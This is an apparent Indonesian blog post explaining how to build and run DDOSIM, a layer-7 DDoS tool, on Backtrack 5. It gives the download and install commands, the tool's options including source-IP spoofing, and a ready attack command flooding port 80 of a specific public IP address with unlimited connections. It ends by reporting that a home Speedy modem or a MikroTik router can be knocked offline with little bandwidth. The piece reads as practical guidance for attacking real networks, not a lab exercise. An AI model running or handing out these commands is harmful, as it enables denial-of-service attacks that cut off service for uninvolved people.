DDOSIM, DDOS layer 7 in Backtrack 5

download ddosim di http://sourceforge.net/projects/ddosim/files/ddosim-0.2.tar.gz/download
untuk yang belum punya libnet0-dev, install dulu dan langsung install ddosim nya

root@bt:~# apt-get install libnet0-dev
root@bt:~/ddosim# ./configure
root@bt:~/ddosim# make
 root@bt:~/ddosim# make install

petunjuk penggunaan

# DDOSIM: Layer 7 DDoS Simulator v0.2 Usage: ddosim -d IP Target IP address -p PORT Target port [-k NET] Source IP from class C network (ex. 10.4.4.0) [-i IFNAME] Output interface name [-c COUNT] Number of connections to establish [-w DELAY] Delay (in milliseconds) between SYN packets [-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO [-t NRTHREADS] Number of threads to use when sending packets (default 1) [-n] Do not spoof source address (use local address) [-v] Verbose mode (slower) [-h] Print this help message

contoh untuk ddos port 80 dengan type http_invalid dan serangan count 0 (atau unlimited) dan thread serangan 3


root@bt:~# ddosim -d 110.139.19.196 -p 80 -r HTTP_INVALID -c 0 -t 3
 
kesimpulan:
- DDOS modem speedy dengan type serangan http_invalid hanya butuh koneksi 10KBps
- DDOS mikrotik (kemungkinan besar RB) dengan koneksi mikrotik tsb dibawah koneksi si attacker, mengabitkan DROP connection.

sumber : gilakomputer.com